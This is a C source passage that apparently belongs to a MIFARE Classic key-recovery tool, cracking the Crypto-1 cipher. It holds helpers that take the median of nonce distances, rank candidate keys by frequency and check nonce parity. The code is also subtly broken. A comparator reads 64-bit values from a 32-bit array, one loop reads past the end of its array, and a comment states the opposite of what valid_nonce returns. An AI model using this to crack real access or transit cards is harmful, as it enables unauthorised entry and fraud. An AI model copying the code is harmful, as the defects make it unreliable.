	crypto1_destroy(pcs);
	return 0;
}

// Return the median value from the nonce distances array
uint32_t median(denonce d) {
	int middle = (int) d.num_distances / 2;
	qsort(d.distances, d.num_distances, sizeof(u_int32_t), compar_int);
	
	if (d.num_distances % 2 == 1) {
		// Odd number of elements
		return d.distances[middle];
	} else {
		// Even number of elements, return the smaller value
		return (uint32_t) (d.distances[middle-1]);
	}
}

int compar_int(const void * a, const void * b) {
	return (*(uint64_t*)b - *(uint64_t*)a);
}

// Compare countKeys structure
int compar_special_int(const void * a, const void * b) {
	return (((countKeys *)b)->count - ((countKeys *)a)->count);
}

countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) {
	int i, j = 0;
	int count = 0;
	countKeys *our_counts;
	
	qsort(possibleKeys, size, sizeof (uint64_t), compar_int);
	
	our_counts = calloc(size, sizeof(countKeys));
	if (our_counts == NULL) {
		fprintf(stderr, "Memory allocation error for our_counts\n");
		exit(1);
	}
	
	for (i = 0; i < size; i++) {
        if (possibleKeys[i+1] == possibleKeys[i]) { 
			count++;
		} else {
			our_counts[j].key = possibleKeys[i];
			our_counts[j].count = count;
			j++;
			count=0;
		}
	}
	qsort(our_counts, j, sizeof(countKeys), compar_special_int);
	return (our_counts);
}


// Return 1 if the nonce is invalid else return 0
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity) {
	return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \
	(odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \
	(odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0;
}

void num_to_bytes(uint64_t n, uint32_t len, byte_t* dest) {
	while (len--) {
		dest[len] = (byte_t) n;
		n >>= 8;
	}
}

long long unsigned int bytes_to_num(byte_t* src, uint32_t len) {
	uint64_t num = 0;
	while (len--)
	{
		num = (num << 8) | (*src);
		src++;
	}
	return num;
}